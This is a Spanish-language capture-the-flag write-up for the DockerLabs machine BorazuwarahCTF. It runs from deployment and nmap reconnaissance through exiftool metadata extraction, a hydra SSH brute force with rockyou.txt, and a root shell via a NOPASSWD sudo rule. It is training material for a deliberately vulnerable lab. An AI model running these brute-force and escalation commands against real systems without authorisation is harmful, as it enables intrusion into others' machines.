> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-muy-facil/borazuwarahctf.md).

# BorazuwarahCTF

#### **Despliegue de la Máquina:**

**1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **BorazuwarahCTF** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**2. Descompresión:**

Para extraer el contenido del archivo comprimido, utilizamos la herramienta `7z`:

```bash
7z x borazuwarahctf.zip
```

<figure><img src="/files/Q8ky9Gdvoulk7Y9Wf4s0" alt=""><figcaption></figcaption></figure>

**3. Ejecución:**

Ejecutamos el script `auto_deploy.sh` para desplegar la máquina en Docker:

```bash
bash auto_deploy.sh borazuwarahctf.tar
```

<figure><img src="/files/pZoEpHEZLPpErApGzePn" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**1. Verificación de Conectividad:**

Realizamos un `ping` para confirmar la conectividad:

```bash
ping -c 1 172.17.0.2
```

El valor `TTL=64` nos indica que el sistema operativo es **Linux**.

<figure><img src="/files/KtjSubiMMXtoekGWqHRX" alt=""><figcaption></figcaption></figure>

**2. Escaneo de Puertos:**

Ejecutamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Resultados:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="/files/KxTdcn2OnyQmNXSzuLQw" alt=""><figcaption></figcaption></figure>

**3. Escaneo Detallado:**

Realizamos un escaneo detallado de los puertos abiertos, para detectar servicios y versiones de cada uno de los puertos:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Puerto 22:** OpenSSH 9.2p1.
* **Puerto 80:** Apache httpd 2.4.59.

<figure><img src="/files/aRW346NqBYR6TJkxPbhH" alt=""><figcaption></figcaption></figure>

***

#### **Explotación:**

**1. Análisis del Servicio Web:**

Al acceder a `http://172.17.0.2`, encontramos una imagen (`imagen.jpeg`).

<figure><img src="/files/n5YCyeqbE70lfg087BKZ" alt=""><figcaption></figcaption></figure>

Vamos a descargar la imagen para analizarla, con el siguiente comando:

```bash
wget http://172.17.0.2/imagen.jpeg
```

<figure><img src="/files/TqlaXFn7t3meVX9m4bSl" alt=""><figcaption></figcaption></figure>

**2. Extracción de Metadatos:**

Usamos `exiftool` para examinar los metadatos de la imagen:

```bash
exiftool imagen.jpeg
```

<figure><img src="/files/zGvGQRweZiH5tudg7hLU" alt=""><figcaption></figcaption></figure>

**Dato relevante:** Encontramos un nombre de usuario `borazuwarah`.

**3. Fuerza bruta contra SSH:**

Utilizamos `hydra` para realizar un ataque de fuerza bruta contra el servicio SSH:

```bash
hydra -L borazuwarah -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
```

**Resultado:** La contraseña del usuario `borazuwarah` es `123456`.

<figure><img src="/files/11SOqlxzTTXXUfTZpBSi" alt=""><figcaption></figcaption></figure>

**4. Acceso al Sistema:**

Nos conectamos por SSH con las credenciales obtenidas:

```bash
ssh borazuwarah@172.17.0.2
```

<figure><img src="/files/ToQwwYcVXWz2sy1u8x4P" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

**1. Verificación de Privilegios:**

Ejecutamos `sudo -l` para comprobar los permisos del usuario `borazuwarah`.

**Resultado:**

```bash
(ALL) NOPASSWD: /bin/bash
```

Dicho usuario puede ejecutar `/bin/bash` como `root` sin proporcionar contraseña.

<figure><img src="/files/eZDrpVSH4EOsBmabCAdP" alt=""><figcaption></figcaption></figure>

**2. Obtención de Shell como Root:**

Ejecutamos una `bash` con privilegios de `root`, con el siguiente comando:

```bash
sudo -u root /bin/bash
```

<figure><img src="/files/HfC2VrobQjBahy9TkinJ" alt=""><figcaption></figcaption></figure>
